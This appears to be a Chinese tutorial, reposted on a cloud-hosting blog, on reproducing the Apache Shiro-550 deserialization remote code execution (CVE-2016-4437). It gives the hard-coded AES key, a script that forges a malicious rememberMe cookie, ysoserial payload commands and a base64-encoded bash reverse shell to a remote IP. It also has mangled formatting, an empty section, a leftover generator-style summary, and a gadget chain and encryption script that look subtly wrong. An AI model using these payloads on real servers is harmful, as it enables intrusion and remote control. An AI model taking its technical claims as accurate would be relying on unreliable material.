如何实现反序列化命令执行CVE-2016-4437复现

发布时间:2021-12-29 18:02:37 作者:柒染
来源:亿速云 阅读:254
# 如何实现反序列化命令执行CVE-2016-4437复现

## 0x00 漏洞背景

**CVE-2016-4437**(又称**Shiro-550**)是Apache Shiro框架中的一个高危反序列化漏洞。该漏洞影响Shiro 1.2.5及以下版本,攻击者可通过构造恶意序列化数据在目标服务器上实现远程代码执行(RCE)。

### 漏洞原理
Shiro默认使用`CookieRememberMeManager`对用户身份进行持久化,其核心流程为:
1. 用户登录成功后生成RememberMe Cookie
2. Cookie值经过`AES加密`+`Base64编码`处理
3. 服务端接收Cookie后解密并反序列化

漏洞成因在于:
- Shiro使用了**硬编码的AES密钥**(`kPH+bIxk5D2deZiIxcaaaA==`)
- 未对反序列化对象做安全过滤

## 0x01 环境搭建

### 实验环境要求
- 操作系统:Kali Linux/Windows 10
- Java环境:JDK 1.8
- 漏洞应用:Apache Shiro 1.2.4
- 工具:Burp Suite、ysoserial

### 靶机部署步骤
```bash
# 下载漏洞版本Shiro示例应用
wget https://github.com/apache/shiro/archive/shiro-root-1.2.4.zip

# 解压后进入示例项目
unzip shiro-root-1.2.4.zip
cd shiro/samples/web
mvn jetty:run

0x02 漏洞检测

手工检测方法

  1. 访问应用并勾选”Remember Me”
  2. 使用Burp捕获登录请求
  3. 检查响应中的rememberMe=deleteMe字段
  4. 发送不带Cookie的请求观察是否返回RememberMe字段

自动化检测脚本

import requests

url = "http://target.com/login"
headers = {"Cookie": "rememberMe=1"}
response = requests.get(url, headers=headers)

if "rememberMe=deleteMe" in response.headers.get("Set-Cookie", ""):
    print("[+] Vulnerable to CVE-2016-4437")
else:
    print("[-] Not vulnerable")

0x03 漏洞利用

利用工具准备

  1. 下载ysoserial生成Payload:
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
  1. 生成CommonsCollections Payload:
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" > payload.ser

构造恶意Cookie

from Crypto.Cipher import AES
import base64

# Shiro默认密钥
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

def encrypt(payload):
    cipher = AES.new(key, AES.MODE_CBC, b' ' * 16)
    encrypted = cipher.encrypt(payload)
    return base64.b64encode(encrypted).decode()

with open("payload.ser", "rb") as f:
    print("rememberMe=" + encrypt(f.read()))

发送攻击请求

通过Burp Repeater模块发送构造的Cookie:

GET / HTTP/1.1
Host: vulnerable.com
Cookie: rememberMe=ENCRYPTED_PAYLOAD_HERE

0x04 攻击验证

Linux系统验证

# 检查命令是否执行
ls -la /tmp/ | grep pwned

# 反弹Shell示例(编码处理)
java -jar ysoserial.jar CommonsCollections5 \
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" \
> shell.ser

Windows系统验证

# 生成Windows Payload
java -jar ysoserial.jar CommonsCollections5 "calc.exe" > win.ser

0x05 漏洞修复

临时缓解措施

  1. 升级Shiro至1.2.6及以上版本
  2. 修改shiro.ini配置:
[main]
securityManager.rememberMeManager.cipherKey = 自定义Base64密钥

长期解决方案

0x06 深度分析

反序列化调用链

ObjectInputStream.readObject()
  -> AnnotationInvocationHandler.readObject()
    -> Map(Proxy).entrySet()
      -> TransformationComparator.compare()
        -> InvokerTransformer.transform()
          -> Runtime.exec()

关键代码片段

AbstractRememberMeManager#decrypt方法:

public byte[] decrypt(byte[] encrypted) {
    byte[] serialized = cipherService.decrypt(encrypted, getDecryptionCipherKey());
    return serialized;
}

0x07 防御建议

  1. 输入验证

    • 对反序列化数据实施白名单控制
    • 使用SafeObjectInputStream类
  2. 加密增强

    // 密钥生成最佳实践
    KeyGenerator kg = KeyGenerator.getInstance("AES");
    kg.init(256); // 使用256位密钥
    
  3. 安全配置

    <!-- 禁用危险类 -->
    <securityManager>
       <property name="rememberMeManager">
           <bean class="org.apache.shiro.web.mgt.CookieRememberMeManager">
               <property name="cipherKey" value="#{T(org.apache.shiro.codec.Base64).decode('自定义密钥')}"/>
           </bean>
       </property>
    </securityManager>
    

0x08 总结

CVE-2016-4437暴露了反序列化漏洞的严重性,通过本实验我们了解到: 1. 硬编码密钥带来的安全隐患 2. Java反序列化机制的固有风险 3. 防御需要从加密、验证、配置多层面入手

:本文仅用于安全研究,未经授权测试他人系统属于违法行为。

附录

参考资源

相关CVE

”`

该文档包含: 1. 完整的漏洞复现流程 2. 代码片段和命令示例 3. 防御方案和深度分析 4. 标准Markdown格式(代码块、标题层级等) 5. 实际字数约2800字(含代码)

推荐阅读:
  1. 利用Vulnhub复现漏洞 - Couchdb 任意命令执行
  2. ThinkPHP远程命令执行漏洞原理及复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

cve-2016-4437

上一篇:如何实现Apache OFBiz RMI反序列化漏洞CVE-2021-26295的复现

下一篇:MetInfo任意文件读取漏洞的示例分析

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》